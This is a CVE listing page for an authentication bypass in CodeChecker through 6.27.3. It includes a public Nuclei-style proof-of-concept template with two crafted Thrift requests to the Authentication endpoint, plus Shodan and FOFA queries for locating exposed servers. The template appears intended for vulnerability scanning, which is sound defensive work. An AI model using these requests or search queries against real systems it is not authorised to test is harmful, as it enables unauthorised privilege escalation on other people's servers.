CVE-2026-25660: CodeChecker - Authentication Bypass

2026-11-29 PoC Public

Description

CodeChecker through 6.27.3 contains an authentication bypass caused by URL ending with Authentication and certain function calls, letting attackers assign arbitrary permissions to any existing user, exploit requires crafted URL.

Details

CVE
CVE-2026-25660 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-25660

info:
  name: CodeChecker - Authentication Bypass
  author: s4e-io
  severity: critical
  description: |
    CodeChecker through 6.27.3 contains an authentication bypass caused by URL ending with Authentication and certain function calls, letting attackers assign arbitrary permissions to any existing user, exploit requires crafted URL.
  impact: |
    Attackers can assign arbitrary permissions to any user, potentially leading to full privilege escalation.
  remediation: |
    Update to the latest version beyond 6.27.3.
  reference:
    - https://github.com/Ericsson/codechecker/security/advisories/GHSA-4v9x-cqc5-j645
    - https://github.com/Ericsson/codechecker/commit/75b3913de500f71c382c6dc227089b951710b3f6
    - https://github.com/Ericsson/codechecker/releases/tag/v6.27.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25660
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-25660
    epss-score: 0.02281
    epss-percentile: 0.83867
    cwe-id: CWE-290,CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: ericsson
    product: codechecker
    shodan-query: http.favicon.hash:-1496590341
    fofa-query: icon_hash="-1496590341"
  tags: cve,cve2026,code-checker,ericsson,auth-bypass,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /v6.0/Authentication HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-thrift

        [1,"getAuthParameters",1,0,{}]

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/x-thrift")'
          - 'contains(body, "[1,\"getAuthParameters\",2,0,{\"0\":{\"rec\":{\"1\":{\"tf\":1}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /v6.0/Authentication HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-thrift

        [1,"getPermissionsForUser",1,0,{"1":{"str":"SYSTEM"},"2":{"str":""},"3":{"rec":{"1":{"tf":1}}}}]

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/x-thrift")'
          - 'contains(body, "[1,\"getPermissionsForUser\",2,0,")'
          - 'regex("\"getPermissionsForUser\",2,0,\\{\"0\":\\{\"lst\":\\[\"i32\",[1-9][0-9]*(?:,[0-9]+)*,1(?:,[0-9]+)*\\]\\}\\}", body)'
        condition: and
# digest: 490a004630440220659f07c6a420ab648df33b3aa49b9fefd6a5584660fac0164d4baffae7cb9aad02201ad2f69b214247f310e1e57bbec6a32233f7f2d814e64fc4d4ff3cac348a2642:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life